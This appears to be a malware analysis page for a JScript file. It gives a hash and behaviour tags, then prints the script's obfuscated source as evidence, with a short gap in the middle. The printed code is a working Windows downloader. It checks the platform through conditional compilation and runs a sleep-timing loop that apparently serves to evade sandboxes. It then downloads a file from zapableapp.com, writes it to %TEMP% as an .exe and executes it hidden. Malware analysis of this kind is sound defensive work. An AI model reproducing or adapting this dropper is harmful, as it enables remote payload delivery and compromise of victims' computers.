20160328_18e430021623ae301b32062dbcb3bd35.js
Downloads and executes remote payload
JScript conditional sleep jitter evasionWScript bracket-member access in source text
SHA-256de628ab67fb4edf7b67d0d89f0b0d8c9259f3e45e2b0c98d0fd0eb69d69ef2f6
Evidence
1var Mbfcdjryi = false;
2var Axcmazg = "CreateObject";
3var Dgtkm = function Ptoqaare() {return WScript[Axcmazg]("WScript.Shell");}();
4var Bdsgbvuktz = 123213;
5var Wlvobt = "MSXML2.XMLHTTP";
6var Hzdstjex = 2123213;
7var Hqzaxkvb = 0;
8function Mhabffnhl(Rythz){Dgtkm["Run"](Rythz, Hqzaxkvb, Hqzaxkvb);};
9function Ymfcy(){return Wlvobt;};
10function Ymiimq(Hwonainxfd, Pmcnbqdyaq){return Hwonainxfd - Pmcnbqdyaq;};
11function Qtxelsrssr(){return Axcmazg;};
12/*@cc_on
13 @if (@_win32 || @_win64)
14 Mbfcdjryi = true;
15 @end
16@*/
17var Imldzrydtz = "";
18if (Mbfcdjryi)
19{
20function Jpeyvvpho(){return 22;};
21var Icdvrus = 0; var Pkmrp = 0;
22function Extsf()
23{
24var Oyicnfbw = new this["Date"]();
25var Mcsda = Oyicnfbw["getUTCMilliseconds"]();
26WScript["Sleep"](Jpeyvvpho());
27var Oyicnfbw = new this["Date"]();
28var Bmvtb = Oyicnfbw["getUTCMilliseconds"]();
29WScript["Sleep"](Jpeyvvpho());
30var Oyicnfbw = new this["Date"]();
31var Aejllzui = Oyicnfbw["getUTCMilliseconds"]();
32var Icdvrus = "Obzbhltxb";
33Icdvrus = Ymiimq(Bmvtb, Mcsda);
34var Pkmrp = "Aibcdjpq";
35Pkmrp = Ymiimq(Aejllzui, Bmvtb);
36Imldzrydtz = "open";
37return Ymiimq(Icdvrus, Pkmrp);
38}
39var Vxzqgewyco = false;
40var Jfjsvncthh = false;
41for (var Tpyzismfb = Hqzaxkvb; Tpyzismfb < Jpeyvvpho() * 1; Tpyzismfb++){if (Extsf() != Hqzaxkvb){
42V …
49:9… gewyco && Brdyniijf() && Jfjsvncthh){
50function Qakde() {return Dgtkm["ExpandEnvironmentStrings"]("%TEMP%/") + "kF8ry02fbx.exe";};
51 Aojjeomzf = Ymfcy();
52 Xlzacknyy = WScript[Axcmazg](Aojjeomzf);
53 var Hfecjx = 1;
54 while (Hfecjx){
55try {
56Xlzacknyy[Imldzrydtz]("GET", "http://zapableapp.com/l1sape", false);
57Xlzacknyy["send"]();
58Vocxbwstzb = "Sleep";
59do {WScript[Vocxbwstzb](Jpeyvvpho() * 11)} while (Xlzacknyy["readystate"] < 4 );
60Hfecjx = Hqzaxkvb;
61} catch(Ceprfwukl){Hfecjx = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Kcituxt(Krbhmiz) {var Fhuuei = (1, 2, 3, 4, 5, Krbhmiz); return Fhuuei;};
64Dqekkumood = WScript[Qtxelsrssr()]("ADODB.Stream");
65Aojjeomzf = Dqekkumood;
66Aojjeomzf[Imldzrydtz]();
67Aojjeomzf["type"] = Kcituxt(1);
68Aojjeomzf["write"](Xlzacknyy["ResponseBody"]);
69Dqekkumood["position"] = Kcituxt(Hqzaxkvb);
70Aojjeomzf["SaveToFile"](Qakde(), Kcituxt(2) );
71Dqekkumood["close"]();
72Mhabffnhl(Qakde());
73}
74}
75